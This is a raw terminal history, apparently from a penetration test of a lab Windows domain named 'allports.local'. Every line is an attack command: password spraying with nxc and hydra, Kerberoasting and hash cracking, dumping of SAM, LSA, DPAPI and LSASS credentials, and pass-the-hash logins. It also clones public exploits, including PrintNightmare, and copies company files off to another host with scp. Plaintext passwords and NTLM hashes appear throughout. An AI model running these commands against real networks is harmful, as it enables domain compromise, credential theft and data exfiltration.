nxc smb 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' --shares -k -M spider_plus
cat ../.nxc/modules/nxc_spider_plus/10.0.1.21.json
cd ..
nxc smb 10.0.1.6 -d allports.local -u adiaz11 -p 'Sails@way!'
nxc smb 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' -k
nxc rdp 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' -k
nxc rdp 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' --local-auth
nxc rdp 10.0.1.21 -u adiaz11 -p 'Sails@way!' --local-auth
nxc smb 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' -k
nxc smb 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' -k --users
nxc smb 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' -k --rid-brute
nxc smb 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' -k --users
nxc smb 10.0.1.6 -d allports.local -u ai.svc -p 'Sails@way!'
nxc ldap 10.0.1.6 -d allports.local -u adiaz11 -p 'Sails@way!' --bloodhound --collection All --dns-server 10.0.1.6
cp .nxc/logs/APT-DC-01_10.0.1.6_2025-11-08_171145_bloodhound.zip .
unzp APT-DC-01_10.0.1.6_2025-11-08_171145_bloodhound.zip
unzip APT-DC-01_10.0.1.6_2025-11-08_171145_bloodhound.zip
cd Downloads
ls
python3 -m http.server 80
nxc smb 10.0.1.6 -d allports.local -u adiaz11 -p 'Sails@way!'
nxc smb 10.0.1.6 -d allports.local -u adiaz11 -p 'Sails@way!' --shares --users
nxc ldap 10.0.1.6 -d allports.local -u adiaz11 -p 'Sails@way!' --users-export output.txt
ls
cat output.txt
nxc smb 10.0.1.6 -d allports.local -U output.txt -p 'Sails@way!'
nxc smb 10.0.1.6 -d allports.local -u output.txt -p 'Sails@way!'
nxc smb 10.0.1.6 -d allports.local -u output.txt -p 'Sails@way!' --continue-on-success
ls
cd ..


_raw:
cd ..
nano hash
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt


_raw:
cat password.txt
cd /usr/share/wordlists
ls
tar -xvzf rockyou.txt.gz
ls
unzip rockyou.txt.gz
ls
cd ~
ls
cd ..
ls
cd pentester
ls
cd Documents
ls
c d..
cd ..
ls
nxc smb 10.0.1.0/24
l
nxc smb 10.0.1.0/24 --shares
nxc nfs 10.0.1.0/24
ping 10.0.254.207\x80
ping 10.0.254.207
l
ls
nxc smb 10.0.1.0/24 -h
nxc smb 10.0.1.0/24 --smb-sessions
nxc smb 10.0.1.0/24 --loggedon-users
nxc smb 10.0.1.0/24 --qwinsta
nxc smb 10.0.1.0/24 --pass-pol
nxc smb 10.0.1.0/24 --rid-brite
nxc smb 10.0.1.0/24 --rid-brute
lsd
ls
nxc smb 10.0.1.0/24
searchsploit CVE-2025-59287
git clone https://github.com/jiansiting/CVE-2025-59287.git
ls
cd CVE-2025-59287
ls
python3 cve-2025-59287-exp.py
python3 cve-2025-59287-encrypt.py
nxc ldap 10.0.1.6 -h
nxc ldap 10.0.1.6 -u '' -p '' --computers
nxc ldap 10.0.1.6 -u '' -p '' --admin-count
nxc ldap 10.0.1.6 -u '' -p '' --gmsa
nxc ldap 10.0.1.6 -u '' -p '' --get-sid
cd ~/Desktop
nano hosts.txt
ls
curl 10.0.1.6:9389
nxc smb 10.0.1.0/24 -u rdavis -p 'rosdav50' -d allports.local
impacket-GetUserSPNs allports.local/rdavis:'rosdav50' -dc-ip 10.0.1.6 -request


_raw:
cat fagan.txt
nxc smb 10.0.1.0/24 -u SVC_STABILIZE -d allports.local -p '1gyroscope' --shares
nxc smb 10.0.1.6 -u SVC_STABILIZE -d allports.local -p '1gyroscope' --users
ls
nxc rdp[ 10.0.1.6 -u SVC_STABILIZE -d allports.local -p '1gyroscope'
nxc rdp 10.0.1.6 -u SVC_STABILIZE -d allports.local -p '1gyroscope'
nxc smb 10.0.1.0/24 -d allports.local -u rdavis -p 'rosdav50'
nxc smb 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' --shares
nxc
nxc rdp 10.0.1.6 -u rdavis -d allports.local -p 'rosdav50'
nxc smb 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' --loggedon-users
nxc smb 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -H
nxc smb 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -h
nxc smb 10.0.1.0/24
nxc smb 10.0.1.0/24 -d prod.allports.local -u rdavis -p 'rosdav50'
nxc smb 10.0.1.0/24 -d prod.allports.local -u rdavis -p 'rosdav50' -x 'whoami /priv'
nxc smb 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50'\
nxc smb 10.0.1.0/24 -d prod.allports.local -u rdavis -p 'rosdav50' -x 'whoami /priv
nxc smb 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50'
git clone https://github.com/mverschu/CVE-2025-33073.git
cd CVE-2025-33073
ls
ip a
nxc smb 10.0.1.0/24
cd ..
ls
evil-winrm -I 10.0.1.6 -u rdavis -p 'rosdav50'
evil-winrm -i 10.0.1.6 -u rdavis -p 'rosdav50'
nxc smb 10.0.1.6 -d allports.local -u rdavis2 -p 'rosdav50'
nxc smb 10.0.1.6 -d allports.local -u rdavis3 -p 'rosdav50'
nxc smb 10.0.1.6 -d allports.local -u rdavis4 -p 'rosdav50'
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -L
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -M subnetes
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -M subnets
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -M user-desc
cat .nxc/logs/UserDesc-APT-DC-01.allports.local-20251108_133143.log
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -M enum_trusts
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -L
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -M sccm
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -M whoami
nxc ldap 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -M get-network
cat .nxc/logs/allports.local_network_2025-11-08_133451.log| mapcidr
cat password.txt
cat .nxc/logs/allports.local_network_2025-11-08_133451.log
ls
for i in {1..100}; do xcowsay hi & disown; sleep 0.2; done
ls
ls -la
nxc smb 10.0.1.6 -d allports.local -u rdavis4 -p 'rosdav50'
nxc smb 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50'
nxc smb 10.0.1.6 -d allports.local -u rdavis -p 'rosdav50' -h
nxc smb 10.0.1.0/24 -u rdavis -p 'rosdav50' --local-auth
nxc smb 10.0.1.0/24 -u SVC_STABILIZE -p '1gyroscope' --local-auth
nxc smb 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope'
nxc winrm 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope'
nxc wmi 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope'
ls
cd CVE-2025-33073
ls
python3 CVE-2025-33073.py
ls
cd ..
ls
sl
ls
nxc smb 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope'
nxc smb 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope' -L
nxc smb 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope' -M remove-mic
nxc smb 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope' -M printnightmare
nxc smb 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope' -M smbghost
msfconsole -q
ls
nxc smb 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope'
searchsploit SVC_STABILIZE
nxc
nxc winrm 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope'
nxc smb 10.0.1.6 -d allports.local -u SVC_STABILIZE -p '1gyroscope'
nxc smb 10.0.1.0/24 -u rdavis -p 'rosdav50' -k
nxc smb 10.0.1.20 -u rdavis -p 'rosdav50' -k --sam -dpapi -lsa
nxc smb 10.0.1.20 -u rdavis -p 'rosdav50' -k --sam --dpapi --lsa
nxc smb 10.0.1.0/24 -u admin -H 14ce35320eb504f83c9451bad086d873
nxc smb 10.0.1.0/24 -u admin -H 14ce35320eb504f83c9451bad086d873 -k
evil-winrm -i 10.0.1.20 -u rdavis -p '
evil-winrm -h
wmiexec.py -h
impacket-psexec
impacket-wmiexec
impacket-getTGT
impacket-getTGT allports.local\rdavis:'rosdav50'
impacket-getTGT allports.local\rdavis:'rosdav50' -dc-ip 10.0.1.6
impacket-getTGT allports.local/rdavis:'rosdav50' -dc-ip 10.0.1.6
export KRB5CCNAME=rdavis.ccache
impacket-psexec allports.local/rdavis:'rosdav50'@10.0.1.20 -k
impacket-wmiexec allports.local/rdavis:
impacket-wmiexec allports.local/rdavis:'rosdav50'@10.0.1.20 -k
impacket-wmiexec allports.local/rdavis:'rosdav50'@10.0.1.20 -k --no-pass
impacket-wmiexec allports.local/rdavis:'rosdav50'@10.0.1.20 -k -no-pass
secretsdump.py
impacket-secretsdump
impacket-secretsdump allports.local/rdavis:'rosdav50' -k -no-pass
impacket-secretsdump administrator -h
impacket-secretsdump administrator@10.0.1.20 -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3
echo 'Cyb3rrange!' > word.txt
mousepad hashes
hashcat -m 1000 hashes word.txt
ls
nxc smb 10.0.1.0/24 -u administrator -H a4fa38e8e61d094ab455cecda06105d3
nxc smb 10.0.1.0/24 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth
nxc smb 10.0.1.21 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth
nxc smb 10.0.1.21 -u admin -H 14ce35320eb504f83c9451bad086d873 --local-auth
nxc smb 10.0.1.6 -u admin -H 14ce35320eb504f83c9451bad086d873 --local-auth
nxc smb 10.0.1.6 -u admin -H 14ce35320eb504f83c9451bad086d873
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M lsassy
impacket-wmiexec administrator@10.0.1.20 -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3
xfreerdp
xfreerdp3
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M rdcman
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
export KRB5CCNAME=rdavis.ccache
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --sam
cd snafflepy
python3 snaffler.py
python3 snaffler.py -u administrator -H a4fa38e8e61d094ab455cecda06105d3 10.0.1.20
python3 snaffler.py -u administrator -H a4fa38e8e61d094ab455cecda06105d3 10.0.1.21
python3 snaffler.py -u administrator -H a4fa38e8e61d094ab455cecda06105d3 10.0.1.20
python3 snaffler.py 10.0.1.20
ping 10.0.1.20
python3 snaffler.py -u administrator -H a4fa38e8e61d094ab455cecda06105d3 10.0.1.20
python3 snaffler.py -u administrator -H :a4fa38e8e61d094ab455cecda06105d3 10.0.1.20
python3 snaffler.py
python3 snaffler.py 10.0.1.20-u administrator -H :a4fa38e8e61d094ab455cecda06105d3
python3 snaffler.py 10.0.1.20 -u administrator -H :a4fa38e8e61d094ab455cecda06105d3
python3 snaffler.py 10.0.1.20
python3 snaffler.py 10.0.1.20 -u administrator -H :a4fa38e8e61d094ab455cecda06105d3
python3 snaffler.py 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3
cd ..
ls
scp company_files pentester@10.0.254.201:/home/pentester
scp company_files.zip pentester@10.0.254.201:/home/pentester/company_files.zip
lss
ls
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
xfreerdp3 /v:10.0.1.20 /u:admin /pth:14ce35320eb504f83c9451bad086d873 /dynamic-resolution /drive:linux,.
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
nano us.txt
nxc smb 10.0.1.6 -u us.txt -p 'Sails@way!' --continue-on-success --shares
nxc smb 10.0.1.6 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success --shares
nxc smb 10.0.1.6 -d allports.local -u lpeterson -p 'Sails@way!' --continue-on-success --shares
nxc smb 10.0.1.6 -d allports.local -u lpeterson -p 'Sails@way!' --shares
nxc smb 10.0.1.6 -d allports.local -u aphillips -p 'Sails@way!' --shares
nxc smb 10.0.1.6 -d allports.local -u druiz -p 'Sails@way!' --shares
nxc rdp 10.0.1.6 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success --shares
nxc rdp 10.0.1.6 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success
nxc rdp 10.0.1.21 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success -k
nxc wmi 10.0.1.6 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success -k
nxc wmi 10.0.1.6 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success
nxc nsf 10.0.1.6 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success
nxc nfs 10.0.1.6 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success
nxc smb 10.0.1.21 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success -k
nxc smb 10.0.1.21 -d allports.local -u us.txt -p 'Sails@way!' --continue-on-success -k --shares
nxc smb 10.0.1.21 -d allports.local -u lpeterson -p 'Sails@way!' --continue-on-success -k --shares
nxc smb 10.0.1.21 -d allports.local -u lpeterson -p 'Sails@way!' -k --shares
nxc smb 10.0.1.21 -d allports.local -u aphillips -p 'Sails@way!' -k --shares
nxc smb 10.0.1.21 -d allports.local -u druiz -p 'Sails@way!' -k --shares
nxc smb 10.0.1.21 -d allports.local -u SVC_STABILIZE -p '1gyroscope' -k --shares
nxc smb 10.0.1.21 -d allports.local -u rdavis -p 'rosdav50' -k --shares
nxc rdp 10.0.1.21 -d allports.local -u rdavis -p 'rosdav50' -k
nxc rdp 10.0.1.21 -d allports.local -u SVC_STABILIZE -p '1gyroscope' -k --shares
nxc rdp 10.0.1.21 -d allports.local -u SVC_STABILIZE -p '1gyroscope' -k
nxc smb 10.0.1.21 -d allports.local -u SVC_STABILIZE -p '1gyroscope' -k --shares
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
xfreerdp3 /v:10.0.1.21 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
xfreerdp3 /v:10.0.1.21 /u:admin /pth:14ce35320eb504f83c9451bad086d873 /dynamic-resolution /drive:linux,.
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --sam
xfreerdp3 /v:10.0.1.21 /u:cloudbase-init /pth:c56bb88c0ac01d65b12ae4a22613c5f4 /dynamic-resolution
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
xfreerdp3 /v:10.0.1.20 /u:adiaz11 /p:'Sails@way!' /dynamic-resolution /drive:linux,.
xfreerdp3 /v:10.0.1.20 /u:adiaz11 /p:'Sails@way!' /d:allports.local /dynamic-resolution /drive:linux,.
xfreerdp3 /v:10.0.1.21 /u:adiaz11 /p:'Sails@way!' /d:allports.local /dynamic-resolution /drive:linux,.
xfreerdp3 /v:10.0.1.6 /u:adiaz11 /p:'Sails@way!' /d:allports.local /dynamic-resolution /drive:linux,.
ls
xfreerdp3 /v:10.0.1.21 /u:svc_stabilize /p:'1gyroscope' /d:allports.local /dynamic-resolution /drive:linux,.
cat .nxc/modules/nxc_spider_plus/10.0.1.21.json
mousepad .nxc/modules/nxc_spider_plus/10.0.1.21.json
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --sam
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --lsa
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -dpapi
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --dpapi
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --dpapi cookies
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M lsassy
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -L
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M wdigest
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M wifi
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M winscp
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M firefox
xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution /drive:linux,.
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -L
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M rdcman
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M mremoteng
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M veeam
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M wam
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M vnc
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M ntdsutil
nxc smb 10.0.1.21 -d allports.local -u lpeterson -p 'Sails@way!' -k -L
nxc smb 10.0.1.21 -d allports.local -u lpeterson -p 'Sails@way!' -k --users
nxc smb 10.0.1.21 -d allports.local -u lpeterson -p 'Sails@way!' -k -M zerologon
nxc smb 10.0.1.21 -d allports.local -u lpeterson -p 'Sails@way!' -k


_raw: : 1762642743:0;python printnightmare.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6


_raw: : 1762642740:0;hydra -L emails.txt -P defaultpassword.txt -I -t 2 -w 3 rdp://10.0.1.6


_raw: : 1762642726:0;hydra -L emails.txt -P defaultpassword.txt -I -t 1 -w 3 rdp://10.0.1.6


_raw: : 1762642722:0;enum4linux-ng 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope'


_raw:
ip a
which ffuf
which dirsearch
sudo apt install dirsearch
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11:80/FUZZ -rate 10
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11:80/FUZZ -rate 10 -fs 4831
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11:80/FUZZ -rate 100 -fs 4831
dirsearch -u http://10.0.1.11:80
dirsearch -u http://10.0.1.11:80/api
curl http://10.0.1.11:80/api/banner
curl http://10.0.1.11:80/api/user
nmap -sV 10.0.1.11 -p8081
curl http://10.0.1.11:8081
nmap -sV 10.0.1.11 -p22,80,7700,8000,8045
nmap -p- 10.0.1.11
nmap -p- 10.0.1.99
mysql -h 10.0.1.99
mysql -h 10.0.1.99 -u Guest
dirsearch -u http://10.0.1.30:8096
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.30:8096/FUZZ -rate 100 -fs 4831
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.30:8096/web/FUZZ -rate 100 -fs 4831
dirsearch -u http://10.0.1.11:8045
dirsearch -u http://10.0.1.11:8081
dirsearch -u http://10.0.1.11:7700
dirsearch -u http://10.0.1.11:8000
dirsearch -u http://10.0.1.11:8081
nc 10.0.1.10 6768
dirsearch -u http://10.0.1.14:80
dirsearch -u http://10.0.1.14:443
dirsearch -u http://10.0.1.14:8080
dirsearch -u http://10.0.1.15:8080
dirsearch -u http://10.0.1.15:8081
dirsearch -u http://10.0.1.15:8090
dirsearch -u http://10.0.1.99:80
dirsearch -u http://10.0.1.99:443
dirsearch -u http://10.0.1.99:8080
curl http://10.0.1.254:9697
nc 10.0.1.254 9697
nmap -A -p9697 10.0.1.254
nmap -SS -p9697 10.0.1.254
nmap -p9697 10.0.1.254
nmap -p- 10.0.1.1
nmap -p- 10.0.1.6 -sV
nmap 10.0.1.6 -sV
dirsearch -u http://10.0.1.6:5985
nmap 10.0.1.20 -sV
nmap 10.0.1.21 -sV
dirsearch -u http://10.0.1.20:5985
nslookup prod.allports.local
dirsearch -u http://10.0.1.30:8096
dirsearch -u http://10.0.1.30:8096/web
dirsearch -u http://10.0.1.11:80
curl http://10.0.1.11:3080
curl http://Penny.allports.local:3080
sudo nano /etc/hosts
curl http://Penny.allports.local
dirsearch -u http://10.0.1.11:80/api
dirsearch -u http://10.0.1.11:7700
nmap -sV 10.0.1.15
mysql -h 10.0.1.15 -u root
mysql -h 10.0.1.15 -u root -P 3306
nc 10.0.1.10 6768
ls
dirsearch -u http://10.0.1.14
nmap -p- -PR 10.0.1.1
nmap -p- -PR 10.0.1.254
ping 10.0.1.14
ssh admin@10.0.1.99
mysql -h 10.0.1.99 -u admin -P 3306 -p IAmTheCaptain
mysql -h 10.0.1.99 -u admin -P 3306 -p --skip-ssl
mysql -h 10.0.1.99 -u root -P 3306 -p --skip-ssl
mysql -h 10.0.1.99 -u mysql -P 3306 -p --skip-ssl
mysql -h 10.0.1.15 -u mysql -P 3306 -p --skip-ssl
dirsearch -u http://10.0.1.15:8090
nmap -p8081 10.0.1.11 -A
traceroute 10.0.1.11
traceroute 10.0.1.1
traceroute 10.0.1.6
traceroute 10.0.1.10
traceroute 10.0.1.14
traceroute 10.0.1.15
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "*",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {\
    "additionalProp1": "string",\
    "additionalProp2": "string",\
    "additionalProp3": "string"\
  },\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "string",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earning_report_monthly_summary",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {\
    "additionalProp1": "string",\
    "additionalProp2": "string",\
    "additionalProp3": "string"\
  },\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "string",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/refresh_schemas' \\
  -H 'accept: application/json' \\
  -d ''
curl -X 'POST' \
dirsearch -u http://10.0.1.11:7700
exit


_raw: : 1762642706:0;git clone https://github.com/ly4k/PrintNightmare.git


_raw: : 1762642671:0;hydra -L emails.txt -P defaultpassword.txt -I -t 4 -w 3 rdp://10.0.1.6